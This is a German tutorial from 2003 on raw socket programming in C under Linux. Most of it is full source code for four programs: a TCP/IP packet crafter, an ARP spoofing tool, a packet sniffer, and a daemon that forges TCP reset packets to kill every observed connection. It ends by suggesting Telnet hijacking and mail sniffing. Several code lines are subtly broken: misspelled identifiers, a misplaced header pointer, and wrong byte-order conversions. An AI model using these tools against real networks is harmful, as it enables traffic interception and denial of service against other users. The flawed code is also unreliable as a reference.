Siebdruck
Raw Socket Programmierung in C
Mit Raw Sockets kann man Netzwerkpakete mit all ihren Headeroptionen
erstellen, ohne dass einem der Kernel dazwischen funkt oder aber auch
Netzwerkpakete sniffen.
Ok warum sollte man sich heute noch mit Raw Sockets beschäftigen wo
es doch Libnet gibt?
Vielleicht möchtest Du Pakete konstruieren ohne eine zusätzliche Library
zu verwenden? Oder Du willst einfach Deinen Wissensdurst stillen und verstehen
wie es funktioniert? Oder Du willst den Netzwerkverkehr sniffen ohne die
Pcap Library zu benutzen? Ich weiss es nicht...
Aber wenn Du wissen willst wie Raw Socket Programmierung unter Linux
funktioniert, lies einfach weiter!
Vielleicht fragst Du Dich auch warum zum Teufel schreibt der Typ im Jahre 2003
nen Tutorial über Raw Socket Programmierung wo doch das Phrack Magazin
schon seid mindestens 1996 Artikel über Raw Socket Programmierung enthält?
Ganz einfach! Als ich angefangen habe mich mit Raw Socket Programmierung zu beschäftigen,
musste ich mir immer noch viel zu viele Informationen zusammen suchen, so dass ich mir gedacht
habe, dass ich mal alles zusammen tippsel was man meiner Meinung nach so braucht.
Für diesen Artikel solltest Du mindestens Grundkenntnisse in den folgenden Themen haben:
- Aufbau von Netzwerken / Protokollen
- ISO / OSI Schichten Modell
- Socket Programmierung in C
Ich stelle hier vor wie man unter Linux TCP/IP und ARP Pakete erstellt, Pakete aus einem Raw Socket liest und dekodiert und werde zum Abschluß beide Techniken vereinen, um einen simplen RST Daemon zu programmieren. Das erstellen von UDP oder ICMP (also auf IP basierende Protokolle) läuft analog zu der Erstellung eines TCP Packets ab. Man muss nur wissen wie die Header bzw. die Strutkuren der Protokolle aufgebaut sind und das erfährt man entweder aus den Header Dateien unter /usr/include/netinet/ oder über die Man Page zu dem jeweiligen Protokoll.
Es gibt unter Linux zwei verschiedene Arten von Raw Sockets:
- SOCK_PACKET
- SOCK_RAW
SOCK_PACKET muss man verwenden, wenn man auf Layer 2 (Data Link) arbeiten will wie z.B. auf der Ethernet (ARP) Ebene.
SOCK_RAW benutzt man, wenn man auf IPv4 aufbauen will.
Einen Raw Socket erstellt man folgendermaßen (wobei IPPROTO_* durch das jeweilige IP Protokoll ersetzt werden muss wie beispielsweise IPPROTO_TCP):
rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_*);
Raw Sockets darf man übrigens nur als root erstellen!
Wenn man die Header selber setzen möchte, muss man dies dem Kernel mitteilen (one ist einfach ein Integer mit dem Wert 1):
setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one);
Für mehr Informationen siehe:
- man 2 socket
- man 2 setsockopt
- man 7 raw
- man 7 ip
- man 7 tcp
- man 7 udp
- man 7 icmp
- man 7 arp
Ok. Jetzt wird wieder in die Hände gespuckt, nen Bier oder ne Jolt gegrapscht und los geht's!
Es folgt Beispiel Code zur Erstellung eines TCP / IP Pakets. Vielleicht noch vorher ein paar warme Worte zu üblichen Stolperfallen:
- Der Code erstellt einen Packet Buffer auf den über Pointer die verschiedenen Header angesteuert werden (ip und tcp)
- ip->ihl = 5; darfst Du nie vergessen, weil ansonsten ist das Packet auf jeden Fall ungültig (tcpdump zeigt bad-hlen 0)
- Wenn man die Checksumme auf 0 setzt, wird sie vom Kernel berechnet
Ansonsten sollte alles durch die Kommentare im Source Coder erklärt werden. Bitte beachte, dass als Socket Typ SOCK_RAW eingesetzt wird, weil wir auf dem IP Protokoll aufbauen wollen!
// Includes
#include <stdio.h> // Standard I/O Funktionen wie printf()
#include <stdlib.h> // Standard Funktionen wie exit() und malloc()
#include <string.h> // String und Memory Funktionen wie strcmp() und memset()
#include <unistd.h> // System Calls wie open(), read() und write()
#include <errno.h> // Detailliertere Fehlermeldungen
#include <sys/socket.h> // Socket Funktionen wie socket(), bind() und listen()
#include <arpa/inet.h> // Funktionen wie inet_addr()
#include <netinet/in.h> // IP Protokolle, sockaddr_in Struktur und Funktionen wie htons()
#include <netinet/ip.h> // IP Header Struktur
#include <netinet/tcp.h> // TCP Header Struktur
// Main part
int main(void)
{
int rawsock, uid;
struct sockaddr_in addr;
unsigned int packetsize = sizeof(struct iphdr) + sizeof(struct tcphdr);
unsigned char packet[packetsize];
struct iphdr *ip = (struct iphdr *)packet;
struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
int one = 1;
// Are you root?
uid = getuid();
if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }
// Packet Buffer initialisieren
memset(packet,0,packetsize);
// Erstelle einen IP RAW Socket Deskriptor
if( (rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1 ) { perror("socket"); exit(1); }
// IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
// in den Headern rum fummelt
if( setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }
// IP Header zusammen basteln
ip->version = 4; // IP Version
ip->ihl = 5; // Internet Header Length
ip->id = htonl(random()); // IP ID
ip->saddr = inet_addr("127.0.0.1"); // Source IP
ip->daddr = inet_addr("127.0.0.1"); // Destination IP
ip->ttl = 123; // Time to live
ip->protocol = IPPROTO_TCP; // Transport Protokoll TCP (6)
ip->tot_len = packetsize; // Groesse des IP Pakets
ip->check = 0; // IP Checksum (Wenn die Checksumme 0 ist, wird sie
// vom Kernel berechnet)
// TCP Header zusammen basteln
tcp->source = htons(1234); // Source Port
tcp->dest = htons(23); // Destination Port
tcp->seq = htonl(1000000000); // Sequence number
tcp->ack_seq = htonl(1000000000); // Acknowledgement number
tcp->ack = 1; // TCP Flags
tcp->syn = 1;
tcp->window = htons(1024); // Window size
tcp->check = 0; // TCP Checksum
// Schicke das Paket auf die Reise
addr.sin_family = AF_INET;
addr.sin_port = tcp->source;
addr.sin_addr.s_addr = ip->saddr;
if( (sendto(rawsock,packet,packetsize,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_in))) == -1 )
{
perror("send");
exit(1);
}
// Raw Socket Deskriptor schliessen
close(rawsock);
return 0;
}
Als nächstes erstelle ich ein ARP Reply Packet, um ein simples ARP Spoof Programm zu implementieren.
Weil das Paket auf dem Ethernet Layer aufbauen soll, muss der Socket Typ SOCK_PACKET verwendet werden!
Eine miese Stolperfalle über die ich gefallen bin, ist, dass ich vergessen habe im Ethernet Header den Pakettyp anzugeben: ethhdr->ether_type = htons(ETHERTYPE_ARP);
Außerdem hab ich am Anfang immer /usr/include/net/arp.h included, aber bei mir (Debian Woody) ist die halbe ARP Header Struktur auskommentiert. Deswegen hab ich sie mit im Source Code stehen.
// Includes
#include <stdio.h> // Standard I/O Funktionen wie printf()
#include <stdlib.h> // Standard Funktionen wie exit() und malloc()
#include <string.h> // String und Memory Funktionen wie strcmp() und memset()
#include <getopt.h> // Parsing Parameter
#include <errno.h> // Detailliertere Fehlermeldungen
#include <sys/socket.h> // Socket Funktionen wie socket(), bind() und listen()
#include <net/ethernet.h> // Ethernet Header Struktur
#include <arpa/inet.h> // in_addr Struktur
#define ARPOP_REPLY 2
#define ARPHDR_ETHER 1
#define ETH_ALEN 6
// ARP Header Struktur
struct arphdr {
u_short hw_type; // hardware type
u_short proto_type; // protocol type
char ha_len; // hardware address len
char pa_len; // protocol address len
u_short opcode; // arp opcode
u_char source_add[6]; // source mac
char source_ip[4]; // source ip
u_char dest_add[6]; // dest mac
char dest_ip[4]; // dest ip
};
void usage(void);
// Main part
int main(int argc, char *argv[])
{
int sock, uid;
struct sockaddr addr;
char c;
char *opts = "d:i:m:s:t:";
unsigned int packetsize = sizeof(struct arphdr) + sizeof(struct ether_header);
unsigned char packet[packetsize];
struct ether_header *ethhdr = (struct ether_header *)packet;
struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
char smac[18], dmac[18];
char sip[18], dip[18];
char dev[6];
// Are you root?
uid = getuid();
if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }
// Parameter verarbeiten
if(argc < 6) { usage(); }
while( (c = getopt(argc,argv,opts)) != -1)
{
switch(c)
{
case 'd':
strncpy(dip,optarg,18);
break;
case 'i':
strncpy(dev,optarg,6);
break;
case 'm':
strncpy(smac,optarg,18);
break;
case 's':
strncpy(sip,optarg,18);
break;
case 't':
strncpy(dmac,optarg,18);
break;
defaults:
usage();
}
}
// Packet Buffer initialisieren
memset(packet,0,packetsize);
// Erstelle einen Socket Deskriptor
if( ( sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP))) == -1 ) { perror("socket"); exit(1); }
// Ethernet Header Optionen
memcpy(ethhdr->ether_dhost,(u_char *)ether_aton(dmac),ETHER_ADDR_LEN); // Destination MAC
memcpy(ethhdr->ether_shost,(u_char *)ether_aton(smac),ETHER_ADDR_LEN); // Source MAC
ethhdr->ether_type = htons(ETHERTYPE_ARP); // ARP Protokoll
// ARP Header Optionen
arp->hw_type = htons(ARPHDR_ETHER); // Hardware Address Typ
arp->proto_type = htons(ETH_P_IP); // Protokoll Address Typ
arp->ha_len = 6; // Hardware Address Laenge
arp->pa_len = 4; // Protokoll Address Laenge
arp->opcode = htons(ARPOP_REPLY); // ARP OP Typ
memcpy(arp->source_add,ether_aton(smac),ETH_ALEN); // Sender MAC
*(u_long *)arp->source_ip = inet_addr(sip); // Source IP
memcpy(arp->dest_add,ether_aton(dmac),ETH_ALEN); // Target MAC
*(u_long *)arp->dest_ip = inet_addr(dip); // Target IP
// Schicke das Paket auf die Reise
strncpy(addr.sa_data,dev,sizeof(addr.sa_data));
printf("Sending ARP packet\n");
if( (sendto(sock,packet,packetsize,0,&addr,sizeof(struct sockaddr))) == -1 )
{
perror("send");
exit(1);
}
return 0;
}
void usage(void)
{
printf("Usage: arpspoof -i <dev> -m <source_mac> -s <source_ip> -t <dest_mac> -d <dest_ip>\n");
exit(0);
}
Nach dem ganzen aktiven Konstruieren von Netzwerkpaketen, möchte ich jetzt zeigen wie man mit einem Raw Socket passiv Pakete sniffed.
Als Socket Typ wird wieder SOCK_PACKET gewählt, weil wir ja das ganze Paket einlesen also auch den Link Layer.
Wenn Du wie ich den Fehler machst und versuchst mit SOCK_RAW zu sniffen, siehst Du zwar auch Pakete hin und her fliegen, aber wirst Dich beim dekodieren wundern, warum Du unsinnige Werte erhälst.
Der Code enthält noch einen kleinen Bug. Bei mir (Debian Woody mit Kernel 2.4.20) kommt es manchmal vor, dass der Destination Port 0 ist, warum weiß ich allerdings leider auch nicht. Das führt allerdings beim nächtens Beispiel, dem RST Daemon, zu einem ungewollten Programmende...
// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Main Part
int main(void)
{
int sock, uid;
int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
char packet[packetsize];
struct ether_header *eth = (struct ether_header *) packet;
struct iphdr *ip = (struct iphdr *) (packet + sizeof(struct ether_header));
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
// Are you root?
uid = getuid();
if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }
// Raw Socket oeffnen
if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
// Lese Pakete aus dem Raw Socket und dumpe es
while(1)
{
read(sock,packet,packetsize);
printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest),ntohl(tcp->seq), ntohl(tcp->ack_seq));
}
return 0;
}
Last but not least schmeissen wir die erlernten Techniken in einen großen Topf, rühren kräftig um und erstellen einen RST Daemon, der Pakete aus einem Raw Socket ausliest und ein RST Paket erstellt, welches das gelesenen Paket resettet.
Dazu wird ein Paket erstellt, was von der Ziel-IP / -Port kommt, die erwartete Sequence Nummer (Acknowledgement Nummer des zu resettenden Packets) und das RST Flag enthät.
Mehr zum Thema TCP Hijacking und RST Daemons findest Du z.B. unter:
Hier der Source Code des RST Daemons:
// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Main Part
int main(void)
{
int r_sock,w_sock, uid;
int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
char packet[packetsize];
struct ether_header *eth = (struct ether_header *) packet;
struct iphdr *ip = (struct iphdr *) (packet + sizeof(struct ether_header));
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
unsigned char rstpacket[sizeof(struct iphdr) + sizeof(struct tcphdr)];
struct iphdr *rst_ip = (struct iphdr *)rstpacket;
struct tcphdr *rst_tcp = (struct tcphdr *)rstpacket;
struct sockaddr_in addr;
int one = 1;
// Are you root?
uid = getuid();
if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }
// Raw Socket zum lesen oeffnen
if( (r_sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }
// Raw Socket zum senden
if( (w_sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }
// IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
// in den Headern rum fummelt
if( setsockopt(w_sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }
// Lese Pakete aus dem Raw Socket und resette sie
while(1)
{
read(r_sock,packet,packetsize);
printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest), ntohl(tcp->seq), ntohl(tcp->ack_seq));
// IP Header fuer RST Paket zusammen basteln
rst_ip->version = 4; // IP Version
rst_ip->ihl = 5; // Internet Header Length
rst_ip->id = htonl(random()); // IP ID
rst_ip->saddr = ip->daddr; // Source IP
rst_ip->daddr = ip->saddr; // Destination IP
rst_ip->ttl = 123; // Time to live
rst_ip->protocol = IPPROTO_TCP; // Transport Protokoll TCP (6)
rst_ip->tot_len = packetsize; // Groesse des IP Pakets
rst_ip->check = 0; // IP Checksum (Wenn die Checksumme 0 ist, wird sie
// vom Kernel berechnet)
// TCP Header fuer RST Paket zusammen basteln
rst_tcp->source = htons(tcp->dest); // Source Port
rst_tcp->dest = htons(tcp->source); // Destination Port
rst_tcp->seq = htonl(tcp->ack_seq); // Sequence number
rst_tcp->ack_seq = htonl(tcp->ack_seq); // Acknowledgement number
rst_tcp->rst = 1; // RST Flag setzen
rst_tcp->window = htons(2323); // Window size
rst_tcp->check = 0; // TCP Checksum
// Schicke das Paket auf die Reise
addr.sin_family = AF_INET;
addr.sin_port = rst_tcp->source;
addr.sin_addr.s_addr = rst_ip->saddr;
if( (sendto(w_sock,rstpacket,sizeof(struct iphdr) + sizeof(struct tcphdr),0,(struct sockaddr*)&addr,sizeof(struct ckaddr_in))) == -1 )
{
perror("send");
exit(1);
}
}
return 0;
}
Was kannst Du jetzt mit dem Wissen anstellen?
Nun Du kannst neben einem RST Daemon auch einen Connection Hijacking Programm schreiben, welches eine Verbindung eines Plain Protokolls wie z.B. Telnet hijackt oder aber ein Sniffer Programm coden, dass z.B. Mails über die Protokolle SMTP, POP3 und IMAP abfängt. Das alles darfst Du natürlich nur unter legalen Bedingungen verwenden!
Im Endeffekt kannst Du mit diesem Wissen jedes beliebige Netzwerkprogramm schreiben, was Du willst. Für ein paar Anregungen kannst Du ja mal beim P.A.T.H. Projekt vorbei schaun.